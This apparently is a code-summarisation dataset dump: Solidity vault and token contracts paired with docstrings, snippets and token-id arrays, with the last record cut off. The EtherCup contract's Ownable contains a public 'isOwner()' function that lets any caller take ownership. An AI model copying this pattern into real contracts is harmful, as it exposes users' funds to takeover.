import "../../ApeRegistry.sol";
import "../../FeeRegistry.sol";
import "../../ApeRouter.sol";
import "./BaseWrapperImplementation.sol";
abstract contract OwnableImplementation {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ApeVaultWrapperImplementation is BaseWrapperImplementation, OwnableImplementation {
using SafeERC20 for VaultAPI;
using SafeERC20 for IERC20;
uint256 constant TOTAL_SHARES = 10000;
IERC20 public simpleToken;
bool internal setup;
uint256 public underlyingValue;
address public apeRegistry;
VaultAPI public vault;
function init(
address _apeRegistry,
address _token,
address _registry,
address _simpleToken,
address _newOwner) external {
require(!setup);
require(_token != address(0) || _simpleToken != address(0));
setup = true;
apeRegistry = _apeRegistry;
if (_token != address(0))
vault = VaultAPI(RegistryAPI(_registry).latestVault(_token));
simpleToken = IERC20(_simpleToken);
// Recommended to use a token with a `Registry.latestVault(_token) != address(0)`
token = IERC20(_token);
// Recommended to use `v2.registry.ychad.eth`
registry = RegistryAPI(_registry);
_owner = _newOwner;
emit OwnershipTransferred(address(0), _newOwner);
}
event ApeVaultFundWithdrawal(address indexed apeVault, address vault, uint256 _amount, bool underlying);
modifier onlyDistributor() {
require(msg.sender == ApeRegistry(apeRegistry).distributor());
_;
}
modifier onlyRouter() {
require(msg.sender == ApeRegistry(apeRegistry).router());
_;
}
function shareValue(uint256 numShares) public view returns (uint256) {
return vault.pricePerShare() * numShares / (10**uint256(vault.decimals()));
}
function sharesForValue(uint256 amount) public view returns (uint256) {
return amount * (10**uint256(vault.decimals())) / vault.pricePerShare();
}
/**
* @notice
* Used to measure profits made compared to funds send to the vault
* Returns 0 if negative
*/
function profit() public view returns(uint256) {
uint256 totalValue = shareValue(vault.balanceOf(address(this)));
if (totalValue <= underlyingValue)
return 0;
else
return totalValue - underlyingValue;
}
/**
* @notice
* Used to withdraw non yield bearing tokens
* @param _amount Amount of simpleToken to withdraw
*/
function apeWithdrawSimpleToken(uint256 _amount) public onlyOwner {
simpleToken.safeTransfer(msg.sender, _amount);
}
/**
* @notice
* Used to withdraw yield bearing token
* @param _shareAmount Amount of yield bearing token to withdraw
* @param _underlying boolean to know if we redeem shares or not
*/
function apeWithdraw(uint256 _shareAmount, bool _underlying) external onlyOwner {
uint256 underlyingAmount = shareValue(_shareAmount);
require(underlyingAmount <= underlyingValue, "underlying amount higher than vault value");
address router = ApeRegistry(apeRegistry).router();
underlyingValue -= underlyingAmount;
vault.safeTransfer(router, _shareAmount);
ApeRouter(router).delegateWithdrawal(owner(), address(this), vault.token(), _shareAmount, _underlying);
}
/**
* @notice
* Used to withdraw all yield bearing token
* @param _underlying boolean to know if we redeem shares or not
*/
function exitVaultToken(bool _underlying) external onlyOwner {
underlyingValue = 0;
uint256 totalShares = vault.balanceOf(address(this));
address router = ApeRegistry(apeRegistry).router();
vault.safeTransfer(router, totalShares);
ApeRouter(router).delegateWithdrawal(owner(), address(this), vault.token(), totalShares, _underlying);
}
/**
* @notice
* Used to migrate yearn vault
*/
function apeMigrate() external onlyOwner returns(uint256 migrated){
migrated = _migrate(address(this));
vault = VaultAPI(registry.latestVault(address(token)));
}
/**
* @notice
* Used to take funds from vault into the distributor (can only be called by distributor)
* @param _value Amount of funds to take
* @param _type The type of tap performed on the vault
*/
function tap(uint256 _value, uint8 _type) external onlyDistributor returns(uint256) {
if (_type == uint8(0)) {
_tapOnlyProfit(_value, msg.sender);
return _value;
}
else if (_type == uint8(1)) {
_tapBase(_value, msg.sender);
return _value;
}
else if (_type == uint8(2))
_tapSimpleToken(_value, msg.sender);
return (0);
}
/**
* @notice
* Used to take funds from vault purely from profit made from yearn yield
* @param _tapValue Amount of funds to take
* @param _recipient recipient of funds (always distributor)
*/
function _tapOnlyProfit(uint256 _tapValue, address _recipient) internal {
uint256 fee = FeeRegistry(ApeRegistry(apeRegistry).feeRegistry()).getVariableFee(_tapValue, _tapValue);
uint256 finalTapValue = _tapValue + _tapValue * fee / TOTAL_SHARES;
require(shareValue(finalTapValue) <= profit(), "Not enough profit to cover epoch");
vault.safeTransfer(_recipient, _tapValue);
vault.safeTransfer(ApeRegistry(apeRegistry).treasury(), _tapValue * fee / TOTAL_SHARES);
}
/**
* @notice
* Used to take funds from vault by deducting a part from profits
* @param _tapValue Amount of funds to take
* @param _recipient recipient of funds (always distributor)
*/
function _tapBase(uint256 _tapValue, address _recipient) internal {
uint256 underlyingTapValue = shareValue(_tapValue);
uint256 profit_ = profit();
uint256 fee = FeeRegistry(ApeRegistry(apeRegistry).feeRegistry()).getVariableFee(profit_, underlyingTapValue);
uint256 finalTapValue = underlyingTapValue + underlyingTapValue * fee / TOTAL_SHARES;
if (finalTapValue > profit_)
underlyingValue -= finalTapValue - profit_;
vault.safeTransfer(_recipient, _tapValue);
vault.safeTransfer(ApeRegistry(apeRegistry).treasury(), _tapValue * fee / TOTAL_SHARES);
}
/**
* @notice
* Used to take funds simple token
* @param _tapValue Amount of funds to take
* @param _recipient recipient of funds (always distributor)
*/
function _tapSimpleToken(uint256 _tapValue, address _recipient) internal {
uint256 feeAmount = _tapValue * FeeRegistry(ApeRegistry(apeRegistry).feeRegistry()).staticFee() / TOTAL_SHARES;
simpleToken.safeTransfer(_recipient, _tapValue);
simpleToken.safeTransfer(ApeRegistry(apeRegistry).treasury(), feeAmount);
}
/**
* @notice
* Used to correct change the amount of underlying funds held by the ape Vault
*/
function syncUnderlying() external onlyOwner {
underlyingValue = shareValue(vault.balanceOf(address(this)));
}
/**
* @notice
* Used to add the correct amount of funds from the router, only callable by router
* @param _amount amount of undelrying funds to add
*/
function addFunds(uint256 _amount) external onlyRouter {
underlyingValue += _amount;
}
/**
* @notice
* Used to approve an admin to fund/finalise epochs from this vault to a specific circle
* @param _circle Circle who will benefit from this vault
* @param _admin address that can finalise epochs
*/
function updateCircleAdmin(bytes32 _circle, address _admin) external onlyOwner {
ApeDistributor(ApeRegistry(apeRegistry).distributor()).updateCircleAdmin(_circle, _admin);
}
/**
* @notice
* Used to update the allowance of a circle that the vault funds
* @param _circle Circle who will benefit from this vault
* @param _amount Max amount of funds available per epoch
* @param _interval Seconds in between each epochs
* @param _epochAmount Amount of epochs to fund (0 means you're at least funding one epoch)
* If you want to stop funding a circle, set _amount to 0
* @param _intervalStart Unix timestamp fromw hich epoch starts (block.timestamp if 0)
*/
function updateAllowance(
bytes32 _circle,
address _token,
uint256 _amount,
uint256 _interval,
uint256 _epochAmount,
uint256 _intervalStart
) external onlyOwner {
ApeDistributor(
ApeRegistry(apeRegistry).distributor()
).setAllowance(_circle, _token, _amount, _interval, _epochAmount, _intervalStart);
}
}
|
* @notice Used to withdraw yield bearing token @param _shareAmount Amount of yield bearing token to withdraw @param _underlying boolean to know if we redeem shares or not/
|
function apeWithdraw(uint256 _shareAmount, bool _underlying) external onlyOwner {
uint256 underlyingAmount = shareValue(_shareAmount);
require(underlyingAmount <= underlyingValue, "underlying amount higher than vault value");
address router = ApeRegistry(apeRegistry).router();
underlyingValue -= underlyingAmount;
vault.safeTransfer(router, _shareAmount);
ApeRouter(router).delegateWithdrawal(owner(), address(this), vault.token(), _shareAmount, _underlying);
}
| 7,301,679 |
[
1,
6668,
358,
598,
9446,
2824,
30261,
1147,
225,
389,
14419,
6275,
16811,
434,
2824,
30261,
1147,
358,
598,
9446,
225,
389,
9341,
6291,
1250,
358,
5055,
309,
732,
283,
24903,
24123,
578,
486,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
279,
347,
1190,
9446,
12,
11890,
5034,
389,
14419,
6275,
16,
1426,
389,
9341,
6291,
13,
3903,
1338,
5541,
288,
203,
202,
202,
11890,
5034,
6808,
6275,
273,
7433,
620,
24899,
14419,
6275,
1769,
203,
202,
202,
6528,
12,
9341,
6291,
6275,
1648,
6808,
620,
16,
315,
9341,
6291,
3844,
10478,
2353,
9229,
460,
8863,
203,
203,
202,
202,
2867,
4633,
273,
432,
347,
4243,
12,
1273,
4243,
2934,
10717,
5621,
203,
202,
202,
9341,
6291,
620,
3947,
6808,
6275,
31,
203,
202,
202,
26983,
18,
4626,
5912,
12,
10717,
16,
389,
14419,
6275,
1769,
203,
202,
202,
37,
347,
8259,
12,
10717,
2934,
22216,
1190,
9446,
287,
12,
8443,
9334,
1758,
12,
2211,
3631,
9229,
18,
2316,
9334,
389,
14419,
6275,
16,
389,
9341,
6291,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The isOwner constructor sets the original `owner` of the contract to the sender
* account.
*/
function isOwner() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*** Dennis & Bani welcome you ***/
contract EtherCup is Ownable {
// NOTE: Player is our global term used to describe unique tokens
using SafeMath for uint256;
/*** EVENTS ***/
event NewPlayer(uint tokenId, string name);
event TokenSold(uint256 tokenId, uint256 oldPrice, address prevOwner, address winner, string name);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
/*** CONSTANTS ***/
uint256 private price = 0.01 ether;
uint256 private priceLimitOne = 0.05 ether;
uint256 private priceLimitTwo = 0.5 ether;
uint256 private priceLimitThree = 2 ether;
uint256 private priceLimitFour = 5 ether;
/*** STORAGE ***/
mapping (uint => address) public playerToOwner;
mapping (address => uint) ownerPlayerCount;
mapping (uint256 => uint256) public playerToPrice;
mapping (uint => address) playerApprovals;
// The address of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
/*** DATATYPES ***/
struct Player {
string name;
}
Player[] public players;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyOwnerOf(uint _tokenId) {
require(msg.sender == playerToOwner[_tokenId]);
_;
}
/*** CONSTRUCTOR ***/
// In newer versions use "constructor() public { };" instead of "function PlayerLab() public { };"
constructor() public {
ceoAddress = msg.sender;
}
/*** CEO ***/
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/*** CREATE PLAYERS ***/
function createNewPlayer(string _name) public onlyCEO {
_createPlayer(_name, price);
}
function _createPlayer(string _name, uint256 _price) internal {
uint id = players.push(Player(_name)) - 1;
playerToOwner[id] = msg.sender;
ownerPlayerCount[msg.sender] = ownerPlayerCount[msg.sender].add(1);
emit NewPlayer(id, _name);
playerToPrice[id] = _price;
}
/*** Buy ***/
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < priceLimitOne) {
return _price.mul(200).div(95); // < 0.05
} else if (_price < priceLimitTwo) {
return _price.mul(175).div(95); // < 0.5
} else if (_price < priceLimitThree) {
return _price.mul(150).div(95); // < 2
} else if (_price < priceLimitFour) {
return _price.mul(125).div(95); // < 5
} else {
return _price.mul(115).div(95); // >= 5
}
}
function calculateDevCut (uint256 _price) public pure returns (uint256 _devCut) {
return _price.mul(5).div(100);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = playerToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = playerToPrice[_tokenId];
uint256 purchaseExcess = msg.value.sub(sellingPrice);
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
_transfer(oldOwner, newOwner, _tokenId);
playerToPrice[_tokenId] = nextPriceOf(_tokenId);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(sellingPrice);
uint256 payment = sellingPrice.sub(devCut);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
if (purchaseExcess > 0){
newOwner.transfer(purchaseExcess);
}
emit TokenSold(_tokenId, sellingPrice, oldOwner, newOwner, players[_tokenId].name);
}
/*** Withdraw Dev Cut ***/
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyCEO() public {
ceoAddress.transfer(address(this).balance);
}
function withdrawAmount (uint256 _amount) onlyCEO() public {
ceoAddress.transfer(_amount);
}
function showDevCut () onlyCEO() public view returns (uint256) {
return address(this).balance;
}
/*** ***/
function priceOf(uint256 _tokenId) public view returns (uint256 _price) {
return playerToPrice[_tokenId];
}
function priceOfMultiple(uint256[] _tokenIds) public view returns (uint256[]) {
uint[] memory values = new uint[](_tokenIds.length);
for (uint256 i = 0; i < _tokenIds.length; i++) {
values[i] = priceOf(_tokenIds[i]);
}
return values;
}
function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_tokenId));
}
/*** ERC721 ***/
function totalSupply() public view returns (uint256 total) {
return players.length;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ownerPlayerCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return playerToOwner[_tokenId];
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
playerApprovals[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
_transfer(msg.sender, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownerPlayerCount[_to] = ownerPlayerCount[_to].add(1);
ownerPlayerCount[_from] = ownerPlayerCount[_from].sub(1);
playerToOwner[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
}
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPlayers = totalSupply();
uint256 resultIndex = 0;
uint256 playerId;
for (playerId = 0; playerId <= totalPlayers; playerId++) {
if (playerToOwner[playerId] == _owner) {
result[resultIndex] = playerId;
resultIndex++;
}
}
return result;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
** CONSTRUCTOR ***/ In newer versions use "constructor() public { };" instead of "function PlayerLab() public { };"
|
constructor() public {
ceoAddress = msg.sender;
}
| 5,404,346 |
[
1,
26935,
916,
342,
657,
16069,
5244,
999,
315,
12316,
1435,
1071,
288,
225,
289,
4868,
3560,
434,
315,
915,
19185,
14506,
1435,
1071,
288,
225,
289,
4868,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
3885,
1435,
1071,
288,
203,
565,
276,
4361,
1887,
273,
1234,
18,
15330,
31,
203,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xE2772ab646Ca51d87B4Afb85719573972CFB95D8/sources/zzznapMigrationPool.sol
|
Gets the total amount of LP tokens that have been staked into the MigrationPool contract Approves token Unwraps the ZZZ/NAP LP tokens into ZZZv1 and NAPv1 Tokens
|
function migrateLPtokens10000() public onlyOwner {
uint zzznapLPtotal = zzznapV1.balanceOf(address(this));
IERC20(zzznapV1).approve(uniswapV2Router, IERC20(zzznapV1).balanceOf(address(this)));
IUniswapV2Router02(uniswapV2Router).removeLiquidity(
zzzV1,
napV1,
);
}
| 9,066,892 |
[
1,
3002,
326,
2078,
3844,
434,
511,
52,
2430,
716,
1240,
2118,
384,
9477,
1368,
326,
15309,
2864,
6835,
1716,
685,
3324,
1147,
1351,
91,
7506,
326,
2285,
27096,
19,
50,
2203,
511,
52,
2430,
1368,
2285,
27096,
90,
21,
471,
423,
2203,
90,
21,
13899,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
13187,
14461,
7860,
23899,
1435,
1071,
1338,
5541,
288,
203,
3639,
2254,
998,
6378,
2322,
14461,
4963,
273,
998,
6378,
2322,
58,
21,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
467,
654,
39,
3462,
12,
6378,
94,
2322,
58,
21,
2934,
12908,
537,
12,
318,
291,
91,
438,
58,
22,
8259,
16,
467,
654,
39,
3462,
12,
6378,
94,
2322,
58,
21,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
318,
291,
91,
438,
58,
22,
8259,
2934,
4479,
48,
18988,
24237,
12,
203,
5411,
998,
6378,
58,
21,
16,
7010,
5411,
27133,
58,
21,
16,
203,
5411,
11272,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6Ea3966187E86242965aB29Bc9dA9486B9fB8586/sources/contracts/FCNVault.sol
|
* @notice Creates a new FCNVault that is owned by the FCNProduct @param _asset is the address of the underlying asset @param _tokenName is the name of the token @param _tokenSymbol is the name of the token symbol/
|
constructor(address _asset, string memory _tokenName, string memory _tokenSymbol) ERC20(_tokenName, _tokenSymbol) {
asset = _asset;
fcnProduct = FCNProduct(owner());
}
| 3,646,570 |
[
1,
2729,
279,
394,
478,
39,
11679,
3714,
716,
353,
16199,
635,
326,
478,
12821,
4133,
225,
389,
9406,
353,
326,
1758,
434,
326,
6808,
3310,
225,
389,
2316,
461,
353,
326,
508,
434,
326,
1147,
225,
389,
2316,
5335,
353,
326,
508,
434,
326,
1147,
3273,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
2867,
389,
9406,
16,
533,
3778,
389,
2316,
461,
16,
533,
3778,
389,
2316,
5335,
13,
4232,
39,
3462,
24899,
2316,
461,
